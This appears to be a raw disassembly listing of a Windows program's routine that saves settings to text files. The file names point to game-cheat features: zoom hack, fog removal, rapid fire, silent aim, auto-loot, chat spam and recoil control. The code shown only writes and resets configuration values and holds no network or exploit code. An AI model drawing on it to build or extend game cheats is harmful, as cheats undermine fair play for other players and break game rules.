mov r9d, 0x40
lea rdx, str.C:Evicted.wtfEnable.txt
lea rcx, [0x1400b0ea0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAntiAfk.txt
lea rcx, [0x1400b1df0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoomHack.txt
lea rcx, [0x1400b5310]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpamChat.txt
lea rcx, [0x1400b4100]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfHipFire.txt
lea rcx, [0x1400b4540]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapid.txt
lea rcx, [0x1400b0910]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, [0x14009ea30]
lea rcx, [0x1400af9f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCodeEnter.txt
lea rcx, [0x1400b3330]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfMiniOverlay.txt
lea rcx, [0x1400b4a90]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, str.C:Evicted.wtfinstaeoka.txt
lea rcx, [0x1400b2bc0]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoDetect.txt
lea rcx, [0x1400b4dc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCursor.txt
lea rcx, [0x1400b3dd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfdelayRapid.txt
lea rcx, [0x1400b4980]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRapidbind.txt
lea rcx, [0x1400af150]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSensDt.txt
lea rcx, [0x1400b3770]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBgrade.txt
lea rcx, [0x1400b4ba0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfKirka.txt
lea rcx, [0x1400b0a30]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfRemFog.txt
lea rcx, [0x1400b5200]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfTrash.txt
lea rcx, [0x1400b3880]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAutoLoot.txt
lea rcx, [0x1400b4430]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcrosshair.txt
lea rcx, [0x1400b3ff0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSilent.txt
lea rcx, [0x1400b3990]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfArmorDrop.txt
lea rcx, [0x1400b3bb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rcx, [rbp + 0x6b80]
call fcn.1400569c0
lea rcx, [rbp + 0x6a70]
call fcn.1400569c0
lea rcx, [rbp + 0x6960]
call fcn.1400569c0
lea rcx, [rbp + 0x6850]
call fcn.1400569c0
lea rcx, [rbp + 0x6740]
call fcn.1400569c0
lea rcx, [rbp + 0x6630]
call fcn.1400569c0
lea rcx, [rbp + 0x6520]
call fcn.1400569c0
lea rcx, [rbp + 0x6410]
call fcn.1400569c0
lea rcx, [rbp + 0x6300]
call fcn.1400569c0
lea rcx, [rbp + 0x61f0]
call fcn.1400569c0
lea rcx, [rbp + 0x60e0]
call fcn.1400569c0
lea rcx, [rbp + 0x5fd0]
call fcn.1400569c0
lea rcx, [rbp + 0x5ec0]
call fcn.1400569c0
lea rcx, [rbp + 0x5db0]
call fcn.1400569c0
lea rcx, [rbp + 0x5ca0]
call fcn.1400569c0
lea rcx, [rbp + 0x5b90]
call fcn.1400569c0
lea rcx, [rbp + 0x5a80]
call fcn.1400569c0
lea rcx, [rbp + 0x5970]
call fcn.1400569c0
lea rcx, [rbp + 0x5860]
call fcn.1400569c0
lea rcx, [rbp + 0x5750]
call fcn.1400569c0
lea rcx, [rbp + 0x5640]
call fcn.1400569c0
lea rcx, [rbp + 0x5530]
call fcn.1400569c0
lea rcx, [rbp + 0x5420]
call fcn.1400569c0
lea rcx, [rbp + 0x5310]
call fcn.1400569c0
lea rcx, [rbp + 0x5200]
call fcn.1400569c0
lea rcx, [rbp + 0x50f0]
call fcn.1400569c0
lea rcx, [rbp + 0x4fe0]
call fcn.1400569c0
lea rcx, [rbp + 0x4ed0]
call fcn.1400569c0
lea rcx, [rbp + 0x4dc0]
call fcn.1400569c0
lea rcx, [rbp + 0x4cb0]
call fcn.1400569c0
lea rcx, [rbp + 0x4ba0]
call fcn.1400569c0
lea rcx, [rbp + 0x4a90]
call fcn.1400569c0
lea rcx, [rbp + 0x4980]
call fcn.1400569c0
lea rcx, [rbp + 0x4870]
call fcn.1400569c0
lea rcx, [rbp + 0x4760]
call fcn.1400569c0
lea rcx, [rbp + 0x4650]
call fcn.1400569c0
lea rcx, [rbp + 0x4540]
call fcn.1400569c0
lea rcx, [rbp + 0x4430]
call fcn.1400569c0
lea rcx, [rbp + 0x4320]
call fcn.1400569c0
lea rcx, [rbp + 0x4210]
call fcn.1400569c0
lea rcx, [rbp + 0x4100]
call fcn.1400569c0
lea rcx, [rbp + 0x3ff0]
call fcn.1400569c0
lea rcx, [rbp + 0x3ee0]
call fcn.1400569c0
lea rcx, [rbp + 0x3dd0]
call fcn.1400569c0
lea rcx, [rbp + 0x3cc0]
call fcn.1400569c0
lea rcx, [rbp + 0x3150]
call fcn.1400569c0
lea rcx, [rbp + 0x3848]
call fcn.14008ada0
lea rcx, [rbp + 0x3868]
call fcn.14008ada0
lea rcx, [rbp + 0x3888]
call fcn.14008ada0
lea rcx, [rbp + 0x38a8]
call fcn.14008ada0
lea rcx, [rbp + 0x38c8]
call fcn.14008ada0
lea rcx, [rbp + 0x38e8]
call fcn.14008ada0
lea rcx, [rbp + 0x3908]
call fcn.14008ada0
lea rcx, [rbp + 0x3928]
call fcn.14008ada0
lea rcx, [rbp + 0x3948]
call fcn.14008ada0
lea rcx, [rbp + 0x3968]
call fcn.14008ada0
lea rcx, [rbp + 0x3988]
call fcn.14008ada0
lea rcx, [rbp + 0x39a8]
call fcn.14008ada0
lea rcx, [rbp + 0x39c8]
call fcn.14008ada0
lea rcx, [rbp + 0x39e8]
call fcn.14008ada0
lea rcx, [rbp + 0x3a08]
call fcn.14008ada0
lea rcx, [rbp + 0x3a28]
call fcn.14008ada0
lea rcx, [rbp + 0x3a48]
call fcn.14008ada0
lea rcx, [rbp + 0x37e8]
call fcn.14008ada0
lea rcx, [rbp + 0x3808]
call fcn.14008ada0
lea rcx, [rbp + 0x3828]
call fcn.14008ada0
lea rcx, [rbp + 0x3328]
call fcn.14008ada0
lea rcx, [rbp + 0x3348]
call fcn.14008ada0
lea rcx, [rbp + 0x3368]
call fcn.14008ada0
lea rcx, [rbp + 0x3388]
call fcn.14008ada0
lea rcx, [rbp + 0x33a8]
call fcn.14008ada0
lea rcx, [rbp + 0x33c8]
call fcn.14008ada0
lea rcx, [rbp + 0x33e8]
call fcn.14008ada0
lea rcx, [rbp + 0x3408]
call fcn.14008ada0
lea rcx, [rbp + 0x3428]
call fcn.14008ada0
lea rcx, [rbp + 0x3448]
call fcn.14008ada0
lea rcx, [rbp + 0x3468]
call fcn.14008ada0
lea rcx, [rbp + 0x3488]
call fcn.14008ada0
lea rcx, [rbp + 0x35e8]
call fcn.14008ada0
lea rcx, [rbp + 0x34a8]
call fcn.14008ada0
lea rcx, [rbp + 0x34c8]
call fcn.14008ada0
lea rcx, [rbp + 0x34e8]
call fcn.14008ada0
lea rcx, [rbp + 0x3508]
call fcn.14008ada0
lea rcx, [rbp + 0x3528]
call fcn.14008ada0
lea rcx, [rbp + 0x3548]
call fcn.14008ada0
lea rcx, [rbp + 0x3568]
call fcn.14008ada0
lea rcx, [rbp + 0x3588]
call fcn.14008ada0
lea rcx, [rbp + 0x35a8]
call fcn.14008ada0
lea rcx, [rbp + 0x35c8]
call fcn.14008ada0
lea rcx, [rbp + 0x3608]
call fcn.14008ada0
lea rcx, [rbp + 0x3628]
call fcn.14008ada0
lea rcx, [rbp + 0x3648]
call fcn.14008ada0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [0x1400b4cb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4cb0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x1400ae270]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [0x1400b2ef0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2ef0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b4ca8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtflrbind.txt
lea rcx, [0x1400b1cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1cd0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [str.astd]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfmpbind.txt
lea rcx, [0x1400b3220]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3220]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae280]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfcsbind.txt
lea rcx, [0x1400af270]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400af270]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae26c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, [0x14009e6c8]
lea rcx, [0x1400b4320]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4320]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae2dc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_smbind.txt
lea rcx, [0x1400b0b50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0b50]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae27c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfm2bind.txt
lea rcx, [0x1400aff50]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400aff50]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae400]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfptbind.txt
lea rcx, [0x1400b3110]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3110]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae3fc]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxxbind.txt
lea rcx, [0x1400b0fc0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0fc0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae284]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfyybind.txt
lea rcx, [0x1400b2780]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2780]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae23c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfhhbind.txt
lea rcx, [0x1400b3000]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3000]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae2d4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_ssbind.txt
lea rcx, [0x1400b4650]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b4650]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae2d8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_slbind.txt
lea rcx, [0x1400b2670]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2670]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae388]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfxcontrol_1.txt
lea rcx, [0x1400b1bb0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1bb0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x1400ae274]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfycontrol_1.txt
lea rcx, [0x1400b1760]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1760]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x1400ae404]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [0x1400b1410]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1410]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movss xmm1, dword [0x1400ae278]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, [0x14009e870]
lea rcx, [0x1400b07f0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b07f0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400ae40c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfSpliter.txt
lea rcx, [0x1400b1530]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b1530]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b4758]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigSpliter.txt
lea rcx, [0x1400b0c70]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0c70]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b4648]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfCode.txt
lea rcx, [0x1400b3550]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b3550]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b420c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfZoom.txt
lea rcx, [0x1400b2ab0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2ab0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [0x1400b475c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfBigClip.txt
lea rcx, [0x1400b2cd0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b2cd0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3989]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfEnable.txt
lea rcx, [0x1400b0ea0]
lea r8d, [r9 - 0x3e]
call fcn.14008ab10
lea rdx, [0x1400900fa]
lea rcx, [0x1400b0ea0]
call fcn.14008b6f0
mov rcx, rax
lea rdx, [0x140056180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
movzx edx, byte [0x1400b3eda]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___bool____ptr64]
mov rcx, rax
lea rdx, [0x140094388]
call fcn.14008b6f0
mov r9d, 0x40
lea rdx, str.C:Evicted.wtfAntiAfk.txt
